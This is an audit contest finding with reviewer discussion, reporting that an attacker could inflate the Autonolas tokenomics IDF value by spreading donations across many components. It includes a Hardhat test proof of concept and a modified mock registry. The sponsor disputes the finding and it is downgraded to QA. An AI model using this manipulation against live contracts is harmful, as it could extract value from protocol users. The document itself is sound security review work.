User or a group of users can manipulate IDF value by donating to multiple components

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L831-L862 https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L765-L770

Vulnerability details

Impact

IDF value can be manipulated to get more OLAS for the LP tokens.

Proof of Concept

Every epoch IDF value is calculated based on treasury rewards, and number of the new components.

https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L1041-L1045

        if (incentives[0] > 0) {
            // Calculate IDF based on the incoming donations
            uint256 idf = _calculateIDF(incentives[1], tp.epochPoint.numNewOwners);
            nextEpochPoint.epochPoint.idf = uint64(idf);
            emit IDFUpdated(idf);
        } 

This value is then used to calculate amount of OLAS tokens in exchange for the LP tokens

https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/GenericBondCalculator.sol#L64

amountOLAS = ITokenomics(tokenomics).getLastIDF() * totalTokenValue / 1e36;

Formula for IDF is

idf = 1e18 + fKD;
fKD = codeUnits * devsPerCapital * treasuryRewards + codeUnits * newOwners;

By manipulating newOwners value we can greatly increase IDF:

• user or a group of users create multiple component/agent NFTs
• create a service based on these components
• donate a minimal ETH amount for the service
• get a solid OLAS discount in the next epoch

Here is the case for Dispencer.js

        it("Inflate IDF", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();
            // 10% to the Treasury
            await tokenomics.changeIncentiveFractions(45, 45, 50, 41, 9);
            await tokenomics.changeTokenomicsParameters(
                ethers.utils.parseEther("1"),
                ethers.utils.parseEther("1"),
                ethers.utils.parseEther("17"),
                30*86400,
                ethers.utils.parseEther("10000")
            );

            await helpers.time.increase(epochLen);
            await tokenomics.connect(deployer).checkpoint();

            let minETH = await treasury.minAcceptedETH();
            // Send donations to service
            await treasury.connect(deployer).depositServiceDonationsETH([100], [minETH],
                {value: minETH});
            // Move more than one epoch in time
            await helpers.time.increase(epochLen);
            await tokenomics.connect(deployer).checkpoint();

            await helpers.time.increase(epochLen);
            await tokenomics.connect(deployer).checkpoint();

            console.log("IDF: ", await tokenomics.getLastIDF());

            await snapshot.restore();
        });

I modified a MockRegistry to simulate multiple components with different owners

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

 error TransferFailed(address token, address from, address to, uint256 value);

/// @dev Mocking the service registry functionality.
contract MockRegistry {
    enum UnitType {
        Component,
        Agent
    }

    uint256 public constant SPECIAL_CASE_ID = 100;
    address[] public accounts;

    constructor() {
        accounts.push(address(1));
        accounts.push(address(2));
    }

    /// @dev Checks if the service Id exists.
    /// @param serviceId Service Id.
    /// @return true if the service exists, false otherwise.
    function exists(uint256 serviceId) external pure returns (bool) {
        if (serviceId > 0 || serviceId == SPECIAL_CASE_ID) {
            return true;
        }
        return false;
    }

    /// @dev Gets the full set of linearized components / canonical agent Ids for a specified service.
    /// @notice The service must be / have been deployed in order to get the actual data.
    /// @param serviceId Service Id.
    /// @return numUnitIds Number of component / agent Ids.
    /// @return unitIds Set of component / agent Ids.
    function getUnitIdsOfService(UnitType, uint256 serviceId) external pure
        returns (uint256 numUnitIds, uint32[] memory unitIds)
    {
        unitIds = new uint32[](1);
        unitIds[0] = 1;
        numUnitIds = 1;

        // A special case to check the scenario when there are no unit Ids in the service
        if (serviceId == SPECIAL_CASE_ID) {
            unitIds = new uint32[](100);
            numUnitIds = 100;
            for(uint256 i=0; i<100; i++){
                unitIds[i] = uint32(i);
            }
        }
    }

    /// @dev Gets the owner of the token Id.
    /// @param tokenId Token Id.
    /// @return account Token Id owner address.
    function ownerOf(uint256 tokenId) external view returns (address account) {
        // Return a default owner of a special case
        if (tokenId == SPECIAL_CASE_ID) {
            account = accounts[0];
        } else {
            account = address(uint160(tokenId));
        }
    }

    /// @dev Changes the component / agent / service owner.
    function changeUnitOwner(uint256 tokenId, address newOwner) external {
        accounts[tokenId - 1] = newOwner;
    }

    /// @dev Gets the total supply of units.
    function totalSupply() external view returns(uint256) {
        return accounts.length;
    }

    /// @dev Gets service owners.
    function getUnitOwners() external view returns (address[] memory) {
        return accounts;
    }

    /// @dev Gets the value of slashed funds from the service registry.
    /// @return amount Drained amount.
    function slashedFunds() external view returns (uint256 amount) {
        amount = address(this).balance / 10;
    }

    /// @dev Drains slashed funds.
    /// @return amount Drained amount.
    function drain() external returns (uint256 amount) {
        // Amount to drain is simulated to be 1/10th of the account balance
        amount = address(this).balance / 10;
        (bool result, ) = msg.sender.call{value: amount}("");
        if (!result) {
            revert TransferFailed(address(0), address(this), msg.sender, amount);
        }
    }

    /// @dev For drain testing.
    receive() external payable {
    }

}

As we can see donating to 100 components gives us 2000065000000000000 which will double the amount of OLAS tokens for the given LP amount compared to the default IDF value of 1e18.

Tools Used

Hardhat

Recommended Mitigation Steps

The minimal donation amount check for each component/agent can make this sort of attack economically unfeasible https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/Tokenomics.sol#L726

                if (incentiveFlags[unitType] || incentiveFlags[unitType + 2]) {
                    // The amount has to be adjusted for the number of units in the service
                    uint96 amount = uint96(amounts[i] / numServiceUnits);
                    // Accumulate amounts for each unit Id
                    if (amount < minAmount) revert()

Assessed type

Other

[c4-pre-sort]

alex-ppg marked the issue as primary issue

[c4-pre-sort]

alex-ppg marked the issue as insufficient quality report

[dmvt]

OOS: https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/docs/Vulnerabilities_list_tokenomics.pdf

[c4-judge]

dmvt marked the issue as unsatisfactory: Out of scope

[rvierdiiev]

hey @dmvt this issue has nothing similar to the linked list of vulnerabilities and nothing is talking about it in that list. pls, check the issue again or specify where such behavior is described in the known vulnerabilities.

thanks

[k4zanmalay]

I agree with the warden above, I failed to find a vulnerability that exactly matches the finding described here. Maybe it was mistaken with N2 - depositServiceDonationsETH function (OLAS incentives), which describes how a service owner can get a significant portion of the reward by donating to his services in the early stages of the protocol lifetime.

Unlike N2, this report addresses an issue that allows creating multiple components and agents to manipulate the IDF value and as a result increase OLAS received in exchange for LP tokens.

https://github.com/code-423n4/2023-12-autonolas/blob/main/tokenomics/contracts/GenericBondCalculator.sol#L64

[dmvt]

Apologies. I think I hit the wrong macro on this. I meant to mark this as invalid due to centralization risk. The registry is admin controlled and new owners cannot be introduced without admin collusion. https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-severity-standardization-centralization-risks

[rvierdiiev]

But anyone can create component. There is no approve from admins.

[dmvt]

I will vet this one again later tonight. Even though PJQA is now closed, I've indicated to the C4 team that they should hold off on finalizing the contest until I have time to thoroughly review this issue again.

[kupermind]

@rvierdiyev @k4zanmalay hey guys, agree that the issue in the vulnerability is not the same. However, setting up a test based on a mock contract is not something that might prove the point.

First consideration is creating components and agents on L1 at such an amount is super expensive.

Second, the IDF is bound by the maximum of 1 + epsilonRate, where epsilonRate = 1e17. Clearly, if the governance changes epsilonRate to the max possible 17e18, the IDF can take some mind blowing values, but that is not going to be the case as the protocol is not enemy to itself. But to make an attack like that, the DAO is the attacker, however it's not in the protocol scope to consider that as the epsilonRate will be one of the last concerns at that point.

[dmvt]

While I think this is highly unlikely, I'm going to give the warden the benefit of downgrading to QA.

Mistakes in code only unblocked through admin mistakes are QA-level

[c4-judge]

dmvt changed the severity to QA (Quality Assurance)

[c4-judge]

dmvt marked the issue as grade-c

[c4-judge]

dmvt marked the issue as grade-b